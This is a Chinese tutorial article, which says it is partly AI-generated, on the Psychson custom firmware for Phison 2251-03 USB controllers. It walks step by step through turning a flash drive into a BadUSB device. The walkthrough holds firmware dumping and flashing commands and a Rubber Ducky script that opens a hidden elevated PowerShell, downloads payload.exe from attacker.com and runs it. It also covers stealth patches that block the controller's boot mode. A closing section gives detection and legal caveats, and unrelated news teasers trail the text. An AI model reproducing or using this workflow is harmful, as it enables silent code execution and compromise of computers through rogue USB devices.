Psychson技术深度解析:如何通过Phison 2251-03控制器实现BadUSB攻击
Psychson技术深度解析如何通过Phison 2251-03控制器实现BadUSB攻击【免费下载链接】PsychsonPhison 2251-03 (2303) Custom Firmware Existing Firmware Patches (BadUSB)项目地址: https://gitcode.com/gh_mirrors/ps/PsychsonPsychson是一个专门针对Phison 2251-032303USB控制器的开源项目提供完整的定制固件和现有固件补丁解决方案使安全研究人员能够实现BadUSB攻击、隐藏分区创建和固件级安全测试。该项目通过修改USB设备的底层固件使其在插入计算机时模拟键盘输入执行恶意命令为硬件安全研究提供了强大的工具支持。概念解析Psychson的技术架构与工作原理8051微控制器架构与USB HID协议Psychson的核心在于Phison 2251-03控制器使用的8051微控制器架构。这种8位微控制器广泛应用于USB闪存设备中负责管理NAND闪存读写和USB通信。Psychson项目通过逆向工程掌握了该控制器的固件结构实现了对设备底层行为的完全控制。USB HIDHuman Interface Device协议是Psychson实现BadUSB功能的关键技术基础。通过将设备伪装成标准HID设备如键盘Psychson固件能够在设备连接时自动执行预编程的键盘输入序列。固件中的HID报告描述符定义了设备如何被操作系统识别static const BYTE HIDreportDescriptor[] { 0x05, 0x01, 0x09, 0x06, 0xA1, 0x01, 0x05, 0x07, 0x19, 0xE0, 0x29, 0xE7, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x08, 0x81, 0x02, 0x95, 0x01, 0x75, 0x08, 0x81, 0x01, 0x95, 0x05, 0x75, 0x01, 0x05, 0x08, 0x19, 0x01, 0x29, 0x05, 0x91, 0x02, 0x95, 0x01, 0x75, 0x03, 0x91, 0x01, 0x95, 0x06, 0x75, 0x08, 0x15, 0x00, 0x25, 0x65, 0x05, 0x07, 0x19, 0x00, 0x29, 0x65, 0x81, 0x00, 0xC0 };这段描述符定义了设备作为键盘的USB HID报告格式包含8个按键位、5个LED指示灯位和6个字节的键盘扫描码缓冲区。Psychson项目组件架构Psychson采用模块化设计包含五个核心组件DriveComC#编写的Windows应用程序通过SCSI Pass-Through Direct接口与Phison设备通信支持固件提取和刷写功能EmbedPayload将Rubber Ducky格式的键盘脚本嵌入定制固件的工具Injector从固件中提取地址信息并嵌入补丁代码的实用程序firmware基于8051架构的定制固件C源代码patch固件补丁集合提供隐藏分区、密码保护和防引导模式等功能技术要点Psychson通过SCSI命令与USB设备通信绕过了常规文件系统接口直接与控制器固件交互。这种底层通信方式使得项目能够实现固件级的修改和控制。架构设计Psychson的固件修改机制固件内存布局与注入点Psychson固件的核心机制是在固件镜像中预留特定的内存区域用于payload注入。在firmware/main.c中定义了键盘数据缓冲区#define KEY_BUFFER_SIZE 0x2000 static const BYTE keyData[KEY_BUFFER_SIZE] { 0x12, 0x34, 0x56, 0x78 }; int key_index 0; volatile BYTE send_keys_enabled 0;0x12, 0x34, 0x56, 0x78这四个字节作为签名标记EmbedPayload工具会在固件中搜索这个签名并在该位置注入实际的键盘payload数据。这种设计使得固件可以在编译后动态注入不同的攻击脚本。SCSI通信协议实现DriveCom工具通过Windows的SCSI Pass-Through Direct接口与设备通信。在DriveCom/DriveCom/PhisonDevice.cs中定义了与Phison设备通信的数据结构[StructLayout(LayoutKind.Sequential)] class SCSI_PASS_THROUGH_DIRECT { private const int _CDB_LENGTH 16; public short Length; public byte ScsiStatus; public byte PathId; public byte TargetId; public byte Lun; public byte CdbLength; public byte SenseInfoLength; public byte DataIn; public int DataTransferLength; public int TimeOutValue; public IntPtr DataBuffer; public uint SenseInfoOffset; [MarshalAs(UnmanagedType.ByValArray, SizeConst _CDB_LENGTH)] public byte[] Cdb; }通过这个接口DriveCom可以发送特定的SCSI命令如0xBF用于进入引导模式0x06用于读写内存实现对设备固件的完全控制。这张图片展示了Phison 2251-03控制器进入Boot模式的关键步骤。图中红色箭头指示了需要短接的特定引脚位置这是固件刷写前的必要操作。控制器芯片上的PHISON 2251-03字样清晰可见周围有电容、电阻等元件红色标记点指示了短接位置确保设备能够进入引导模式接受新固件。实战演练完整的BadUSB攻击流程环境准备与工具构建首先需要克隆项目仓库并设置构建环境git clone https://gitcode.com/gh_mirrors/ps/Psychson cd Psychson项目使用SDCCSmall Device C Compiler编译8051固件代码。确保SDCC已安装到C:\Program Files\SDCC目录。对于Windows环境还需要安装.NET Framework以编译C#工具。步骤1提取原始固件使用DriveCom工具从目标设备提取固件tools\DriveCom.exe /driveE /actionDumpFirmware /burnerBN03V104M.BIN /firmwareoriginal_fw.bin参数说明/driveE目标设备盘符/actionDumpFirmware执行固件提取操作/burnerBN03V104M.BIN烧录器镜像路径/firmwareoriginal_fw.bin输出固件文件注意事项目前仅支持200KB大小的固件镜像提取这是Patriot 8GB Supersonic Xpress驱动器使用的规格。确保使用与控制器版本和NAND芯片匹配的正确固件镜像。步骤2创建Rubber Ducky攻击脚本创建键盘输入脚本文件attack.txtDELAY 3000 GUI r DELAY 500 STRING cmd.exe ENTER DELAY 1000 STRING powershell -WindowStyle Hidden -Command Start-Process cmd -Verb RunAs ENTER DELAY 2000 STRING powershell -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://attacker.com/payload.exe -OutFile C:\Windows\Temp\payload.exe; Start-Process C:\Windows\Temp\payload.exe ENTER使用DuckEncoder转换为二进制格式java -jar duckencoder.jar -i attack.txt -o inject.bin步骤3嵌入攻击payload到固件使用EmbedPayload工具将攻击脚本嵌入定制固件copy CFW.bin attack_fw.bin tools\EmbedPayload.exe inject.bin attack_fw.binEmbedPayload工具的工作原理是在固件中搜索0x12 0x34 0x56 0x78签名并将payload数据写入该位置。工具源代码中的关键逻辑// 在固件数据中搜索签名 var signature new byte[] { 0x12, 0x34, 0x56, 0x78 }; int? address null; for (int i 0; i data.Length; i) { bool match true; for (int j 0; j signature.Length; j) { if (data[i j] ! signature[j]) { match false; break; } } if (match) { address i; break; } }步骤4刷写定制固件到设备将修改后的固件刷写到目标设备tools\DriveCom.exe /driveE /actionSendFirmware /burnerBN03V104M.BIN /firmwareattack_fw.bin刷写完成后设备将作为BadUSB设备运行。当插入计算机时它会自动执行嵌入的键盘输入序列。步骤5验证攻击效果设备连接后操作系统会将其识别为HID键盘设备。在Windows设备管理器中查看人体学输入设备类别应该能看到新添加的键盘设备。攻击脚本会在设备连接后自动执行无需用户交互。最佳实践在测试环境中验证攻击效果确保payload按预期执行。可以使用虚拟机环境进行安全测试避免对生产系统造成影响。高级定制固件补丁与功能扩展隐藏分区补丁实现Psychson提供了隐藏分区功能可以将USB设备的一部分容量隐藏起来用于存储敏感数据。在patch/base.c中启用隐藏分区功能//#define FEATURE_CHANGE_PASSWORD #define FEATURE_EXPOSE_HIDDEN_PARTITION //#define FEATURE_PREVENT_BOOT #define NUM_LBAS 0xE6C980UL // 需要是偶数(向下取整)首先确定设备的逻辑块数量tools\DriveCom.exe /driveE /actionGetNumLBAs将固件镜像放入patch目录并命名为fw.bin然后运行构建脚本cd patch build.bat构建完成后在patch\bin\fw.bin生成修改后的固件镜像使用DriveCom刷写到设备。密码保护补丁密码补丁为设备添加访问控制功能需要输入正确密码才能访问设备#define FEATURE_CHANGE_PASSWORD //#define FEATURE_EXPOSE_HIDDEN_PARTITION //#define FEATURE_PREVENT_BOOT密码补丁修改了SCSI命令处理逻辑在patch/base.c中添加了密码验证机制。设备连接后会要求输入预设密码只有密码正确才能访问存储内容。防引导模式补丁这个补丁使设备不再响应进入引导模式的命令增加设备的隐蔽性和安全性//#define FEATURE_CHANGE_PASSWORD //#define FEATURE_EXPOSE_HIDDEN_PARTITION #define FEATURE_PREVENT_BOOT刷写此补丁后设备将无法通过常规命令进入引导模式。如果需要再次更新固件需要物理短接控制器引脚。对于需要高度安全性的场景可以在刷写后使用环氧树脂封装设备。技术要点防引导模式补丁通过修改SCSI命令0xBF的处理逻辑实现。当接收到进入引导模式的命令时补丁代码会忽略该命令或返回错误响应防止未经授权的固件更新。从源码构建定制固件如果需要深度定制固件功能可以修改源代码后重新构建修改firmware目录中的C文件定制固件行为或修改patch目录中的文件添加自定义补丁在相应目录中运行build.bat刷写生成的固件到设备# 刷写定制固件 tools\DriveCom.exe /driveE /actionSendFirmware /burnerBN03V104M.BIN /firmwarefirmware\bin\fw.bin # 或刷写补丁固件 tools\DriveCom.exe /driveE /actionSendFirmware /burnerBN03V104M.BIN /firmwarepatch\bin\fw.bin安全研究与防御建议攻击检测与防护基于Psychson的BadUSB攻击具有高度隐蔽性但可以通过以下方法检测和防护USB设备审计监控新连接的USB设备特别是HID设备设备指纹识别检查设备的厂商ID、产品ID和序列号行为分析检测异常的键盘输入模式固件验证实现USB设备固件的完整性检查合法使用场景Psychson项目在合法场景下有重要应用价值安全研究了解USB设备的安全漏洞和攻击向量渗透测试在授权范围内测试组织的物理安全防护数字取证恢复被锁定的USB设备数据设备修复修复因固件损坏而无法使用的USB设备法律与伦理考虑使用Psychson及相关技术必须遵守法律法规获得明确授权仅在拥有所有权的设备或获得明确书面授权的设备上使用遵守当地法律了解并遵守所在国家/地区关于计算机安全的法律法规伦理责任不将技术用于非法监控、数据盗窃或其他恶意目的安全披露发现安全漏洞时应负责任地披露给相关厂商技术挑战与解决方案兼容性问题Psychson目前主要支持Phison 2251-03控制器和特定固件版本1.03.53。对于其他控制器版本可能需要调整内存地址映射不同固件版本可能有不同的内存布局SCSI命令集控制器可能使用不同的命令代码时序参数USB通信时序可能需要调整构建环境配置项目依赖SDCC编译器配置时需要注意编译器版本使用与项目兼容的SDCC版本路径设置确保SDCC安装在C:\Program Files\SDCC依赖库安装必要的C标准库和头文件硬件识别与支持识别兼容设备是成功实施的关键控制器型号使用芯片检测工具确认控制器为Phison 2251-03固件版本通过DriveCom工具读取设备信息NAND芯片确认NAND芯片类型与固件兼容总结与展望Psychson项目展示了USB设备固件级别的安全研究价值通过深入理解Phison 2251-03控制器架构实现了从固件提取、修改到刷写的完整工具链。该项目不仅为安全研究人员提供了强大的测试工具也揭示了消费级USB设备可能存在的安全风险。随着USB设备的普及和功能复杂化固件安全变得越来越重要。Psychson的技术思路可以扩展到其他USB控制器型号推动整个行业对设备安全性的重视。未来可能的发展方向包括多控制器支持扩展到其他Phison控制器型号自动化测试开发自动化测试框架验证固件安全性防御工具基于研究成果开发防护工具标准化推动USB设备固件安全标准的制定通过深入研究和负责任地使用Psychson及相关技术安全社区可以更好地理解USB设备的安全边界开发更有效的防护措施最终提升整个生态系统的安全性。重要声明Psychson是实验性软件。在不支持的设备上使用甚至在支持的设备上使用都可能导致数据丢失或设备永久损坏。请仅在您拥有所有权的设备上使用并自行承担风险。技术的使用应遵守所有适用法律和道德准则。【免费下载链接】PsychsonPhison 2251-03 (2303) Custom Firmware Existing Firmware Patches (BadUSB)项目地址: https://gitcode.com/gh_mirrors/ps/Psychson创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

相关新闻

Windows 11轻量定制终极指南:Tiny11Builder脚本深度解析与实践

Windows 11轻量定制终极指南:Tiny11Builder脚本深度解析与实践

Windows 11轻量定制终极指南:Tiny11Builder脚本深度解析与实践 【免费下载链接】tiny11builder Scripts to build a trimmed-down Windows 11 image. 项目地址: https://gitcode.com/GitHub_Trending/ti/tiny11builder 在开发者和技术爱好者的日常工作中&…

2026/7/21 21:38:55 阅读更多 →
AI时代岗位重构:从技能断层到人机协作新界面

AI时代岗位重构:从技能断层到人机协作新界面

1. 这不是危言耸听:当“岗位消失”变成按月发生的日常事件我第一次真正意识到“未来工作”不是PPT里的概念,是在去年帮一家做工业零部件的客户做产线数字化诊断时。他们车间里三台用了八年的CNC加工中心,操作工老张干了十七年,手摸…

2026/7/21 21:38:55 阅读更多 →
Ultimate Vocal Remover v5.6深度解析:三大AI引擎如何革新音频分离体验

Ultimate Vocal Remover v5.6深度解析:三大AI引擎如何革新音频分离体验

Ultimate Vocal Remover v5.6深度解析:三大AI引擎如何革新音频分离体验 【免费下载链接】ultimatevocalremovergui GUI for a Vocal Remover that uses Deep Neural Networks. 项目地址: https://gitcode.com/GitHub_Trending/ul/ultimatevocalremovergui 在…

2026/7/21 21:37:55 阅读更多 →

最新新闻

零代码搭建桌面自动化工具,OpenClaw Windows 分步安装指南(含安装包)

零代码搭建桌面自动化工具,OpenClaw Windows 分步安装指南(含安装包)

Windows 端 OpenClaw 整合包部署实操|五分钟搭建本地 AI 智能体,简化环境配置流程 前言 OpenClaw 也被圈内用户称作小龙虾,是当下热度较高的开源智能体项目,依靠本地运行、可视化操作、自主执行任务三大特性收获大量使用者。不少…

2026/7/22 0:04:28 阅读更多 →
【爱马仕】Hermes 本地智能助手安装避坑大全,启动异常统一处理方案(含安装包)

【爱马仕】Hermes 本地智能助手安装避坑大全,启动异常统一处理方案(含安装包)

Windows 本地部署 Hermes 环境繁琐?整合部署包 5 分钟完成搭建 前言 不少用户想要体验 Hermes Agent 智能工具,但手动搭建环境的过程中极易出现各类阻碍。 手动安装各类依赖组件、调试系统运行环境、修正目录路径,操作过程中还会频繁出现命…

2026/7/22 0:04:28 阅读更多 →
企业办公自动化 OpenClaw 一键部署流程,零基础快速上手(含安装包)

企业办公自动化 OpenClaw 一键部署流程,零基础快速上手(含安装包)

OpenClaw 一键安装包|可视化部署,简化复杂环境配置 适配环境与版本说明 适配系统:Windows10/11 64 位、macOS 12 及以上 当前整合版本:v2.7.9(虾壳云整合包) 压缩包体积:45.8MB,推…

2026/7/22 0:04:28 阅读更多 →
同时维护多个项目,Plus 还够用吗?买 Credits 还是升级 Pro

同时维护多个项目,Plus 还够用吗?买 Credits 还是升级 Pro

同时维护前端、后端、脚本和个人项目时,Codex 需要反复读取不同仓库的目录结构、项目规则和测试命令,使用强度通常会明显增加。如果只是偶尔切换项目,例如月底集中处理一次版本更新,继续使用 Plus,并在额度不足时补充 …

2026/7/22 0:04:28 阅读更多 →
Codex 测试总跑不完怎么办?补 Credits 还是升级 Pro

Codex 测试总跑不完怎么办?补 Credits 还是升级 Pro

使用 Codex 修改代码后,真正耗时间的往往不是生成代码,而是运行测试、分析失败日志并继续修复。如果经常在这个阶段触发限制,可以先判断是偶发超额,还是长期使用强度已经提高。**偶尔跑大型测试,更适合补充 Credits。*…

2026/7/22 0:04:28 阅读更多 →
2026最新8款个人AI编程免费工具深度实测

2026最新8款个人AI编程免费工具深度实测

作为一名全栈独立开发者,我最近半年一直在折腾副业项目,每个月在AI编程工具上的订阅费算下来其实也不算便宜。作为个人开发者,我们追求的就是用最少的成本获得最高效的开发体验。TRAE 基础版免费,字节跳动出品的国内首款 AI 原生 …

2026/7/22 0:02:28 阅读更多 →

日新闻

TI DSP系统配置模块SYSCFG详解:中断机制与主设备优先级配置实战

TI DSP系统配置模块SYSCFG详解:中断机制与主设备优先级配置实战

1. 项目概述与SYSCFG模块的核心价值在嵌入式系统,尤其是像TI C6000系列这样的高性能DSP开发中,我们常常会与芯片手册里那些密密麻麻的寄存器打交道。很多开发者可能更关注算法实现、内存优化或者外设驱动,但对于一个稳定、高效的系统而言&…

2026/7/22 0:00:26 阅读更多 →
微信Server酱:高到达率的应急通知方案实践

微信Server酱:高到达率的应急通知方案实践

1. 为什么我们需要"最次"的通知方案? 在数字化协作环境中,消息通知系统的重要性不言而喻明。但现实情况是,企业级通知方案往往需要复杂的API对接(如企业微信、钉钉、飞书),个人开发者的小项目又经…

2026/7/22 0:00:26 阅读更多 →
甲方要的“简洁“PPT,到底是简洁还是省事?

甲方要的“简洁“PPT,到底是简洁还是省事?

甲方说"简洁一点",乙方听到的是"少做几页"。甲方说"不要太复杂",乙方理解成"别放图表了"。结果交过去,甲方说"我说的简洁不是这个意思"。"简洁"这个词在PPT语境里,是…

2026/7/22 0:00:26 阅读更多 →

周新闻

Go语言静态资源打包方案对比与实践指南

Go语言静态资源打包方案对比与实践指南

1. 项目背景与核心需求在Go语言开发中,我们经常需要处理静态资源文件的打包问题。无论是Web应用的模板文件、前端资源,还是配置文件、证书等,都需要随程序一起分发。传统做法是将这些文件与编译后的二进制文件放在同一目录下,但这…

2026/7/21 8:48:31 阅读更多 →
Go语言实现高性能LDAP认证服务的架构与实践

Go语言实现高性能LDAP认证服务的架构与实践

1. 项目背景与核心价值LDAP(轻量级目录访问协议)作为企业级身份认证的黄金标准,已经服务了超过80%的财富500强公司。我在金融科技领域实施统一认证体系时,发现传统Java方案存在启动慢、内存占用高等痛点。而Go语言凭借其协程并发模…

2026/7/21 5:34:47 阅读更多 →
【AI面试官实战指南】:用ChatGPT模拟10类高频技术岗面试,3天提升应答精准度92%

【AI面试官实战指南】:用ChatGPT模拟10类高频技术岗面试,3天提升应答精准度92%

更多请点击: https://intelliparadigm.com 第一章:AI面试官实战指南的核心价值与适用场景 AI面试官并非替代人类HR的“黑箱工具”,而是以可解释、可审计、可迭代的方式,赋能招聘全链路的关键基础设施。其核心价值在于将主观经验沉…

2026/7/21 8:25:39 阅读更多 →

月新闻